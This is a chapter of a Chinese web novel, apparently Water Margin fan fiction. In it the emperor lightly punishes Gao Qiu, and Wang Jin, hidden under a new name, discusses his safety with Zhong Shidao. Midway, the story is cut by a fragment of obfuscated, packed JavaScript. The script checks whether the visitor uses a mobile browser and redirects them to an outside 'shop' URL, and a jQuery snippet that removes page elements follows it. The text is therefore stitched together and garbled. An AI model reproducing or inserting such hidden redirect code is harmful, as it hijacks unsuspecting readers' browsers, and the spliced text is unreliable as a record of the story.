8. 各方的探讨
作品:《说书剧透结局【水浒】》 天幕结束之后,朝廷这边又进行了讨论,有官员被派为代表进行请愿。
“高俅既为太尉,统治禁军各部,当为百官表率。他却公报私仇,逼走治下官员,如此作为与心胸,何以让臣等服气?”
“今日见天幕上高俅行径,此人万不能再委以重任,陛下应当罢免高俅职权。”
朝堂上大部分人都知道高俅底细,今日见高俅被天幕揭露了这么多事情,可不得趁此机会向陛下许个愿将高俅驱赶出朝廷中枢。
高俅一派,多数人闭口不言,已经面无土色。不复上次天幕出现之时的趾高气昂、耀武扬威,无比后悔上次顺着陛下称赞天幕。
只有零星几位,替高俅辩解,只是哭丧着道:“高太尉所为,何以如此严重。”
宿太尉今日情绪倒是好了不少,从天幕放出画面开始,整个人就一点点面色红润了。
宋徽宗无奈,开口道:“高俅,天幕放出的画面,你可有辩解?”
高俅出列,躬身跪下:“臣……臣知错。”
高俅伏地,没有直视宋徽宗,说道:“只是,臣当时不知王进他真有病,以为王进故意搪塞下官,才想要拿他责问。”
“谁知……谁知……,臣已经饶恕他罪过,本无意再与他纠缠,他自己却想不明白,私下弃官跑掉了,这与臣无关啊!”
“论罪责,臣只是整顿手段有欠缺考虑,王进所为却是私自弃官逃走,此事王进所为也是比臣所为责任更大。”
“臣并没有赶他走,王进自己跑掉,没有给臣表现机会,他倒是被人同情了,显得臣小气不容人,明明是他之问题。”
“臣之错,并无众大臣所言之严重,何以就要被罢免官职呢?请陛下明鉴。”
“好了,”宋徽宗打断高俅,“天幕之上,你所为之事,天下人皆有目睹,王进私自逃跑,他有错,你因私怨,责问王进,你也有错,朕可不能饶你。”
宋徽宗想了一下,本来欲好好严惩,可是听完高俅狡辩后,就又有了犹豫。
高俅过错虽然多,在他眼里确实也没多大事儿,宋徽宗觉得罢免这种要求太过于严重。
宋徽宗思索片刻,终于做出了决定,只略施小惩道:“罚俸一年,退朝后,于府内闭门思过,好好想想,何为太尉职责?”
“下次天幕开始之前不得出府……”
殿内有人不满,京师天子脚下,逼走一个官员,只是罚俸禁足,且禁足只到下次天幕开启,不过六七日而已,这处罚也太轻了。
宋徽宗知道有些人不满,目光扫过下面众臣,也没有不长眼之人敢出声。
高俅却松了口气,再一次进行叩拜,恭敬道:“臣知晓,谢陛下宽恕。”
宋徽宗点头:“退下吧!”
“是。”高俅退了退,朝着边上弹劾他的官员使了一个得意眼色,然后回归队列,假意低头站着,看似在懊悔所作所为。内心却是暗自埋怨着方才被指责,天幕怎会放出过往画面,都是王进那厮,要不然我怎么会被陛下责罚。
边上的大臣只摇头叹息。
高俅只被罚了俸禄还有闭门思过,对高俅用这种轻轻地处置,就跟没有惩罚一样。
陛下终究要护着高俅啊!
西北边关,延安府军中校场内,王进仰头看着,也跟着想起了那些事。
他本来在校场操练,看见天幕就停了下来了,没想到天幕其中画面与他有关。
好在他现在已经改名换姓。
想起当初要是没有逃走,留在京师,只怕早就被高俅害死了。
本来一开始还十分惆怅,当看到史太公和史进出现,天幕上自己徒弟被不停地调侃,王进脸上不免浮现出了笑容。
正出神回忆间,有人告诉种师道要见他。王进抹掉了身上的汗,整理了一下衣服,才去见老种经略相公。
老种经略相公书房,种师道正在处理文书,见王进过来,站到了自己对面,只放下手里的文书:“张将军,来了。”
王进先向老种经略相公行了一礼。
种师道点头:“先找个位置坐下吧!”
王进找了一个靠近的位置坐下,挺直了腰背,并没有懒懒散散表现出随意。
种师道看着他,打量了一会儿,只是询问道:“天幕之事,你都看了,如今何感想?”
王进沉默了一瞬,缓慢说道:“万事不由我,事已至此,只有随遇而安。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224365|197556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>种师道问:“同当年想法一样吗?”
王进没有犹豫:“末将只庆幸当初走得果断,护住了自己没让高俅害死,否则今日未必能坐在这里,还与经略相公说话了。”
“所以如今自然也是先保全自身。”
种师道点了点头:“高俅此人,睚眦必报,你躲避得对,如今高俅并未失势,你还是要如此,千万不要想着去报仇。”
“按你的想法顾好自己就很好了。”
种师道话锋一转,继续补充:“不过,天幕将你与高俅旧事公诸天下,皆知你逃往的是我延安府,如今你的去处,怕是瞒不住人。”
“虽然你已经改名换姓,只是朝廷必定派人来查验,若来找我要人……”
“末将不愿让您为难,经略相公无论如何安排,末将都只有感激听命。”王进承诺道。
种师道摆了摆手,说道:“我老种不怕朝廷来人,不至于会把你交出去。”
“我只道你并未走到我延安府,我这里查不到人就是了,料想朝廷不能拿我怎么办,现在只是想提醒你小子近期万事小心,不要自己暴露了身份,不然我真怕自己护不住你。”
“只要你暴露不了身份,如今便是我治下有为军官,你练兵打仗有功,戍边守城有劳,谁也无权拿你,朝廷来一个我打发一个。”
种师道说完正事,朝王进八卦道:“不过我还有一惑,你真是那什么星宿吗?”
王进愣了愣,然后哭笑不得,回道:“末将应当无机会……,虽然天幕没有揭晓清楚,天下人现在认为我最有可能,但是末将自认为不会成为星君,我没有那种预感。”
“嗯,我看着你那徒弟比你更有可能。”种师道点了点头,随意猜测了一下,又随便说道,“若真是你那徒弟史进,似乎也与你脱不开关系,你还是要万分小心。”
王进起身拜了一下:“谢经略相公关心,末将身份除了经略相公,再无什么人知道,以后必会更加小心谨慎,不会轻易暴露自身。”
种师道颔首,坦然受了礼:“好,你清楚就好,我这里你可以安心,近日多留意身边,提防朝廷来人打探,去吧!”
“是,末将告退。”王进缓步退了出去。

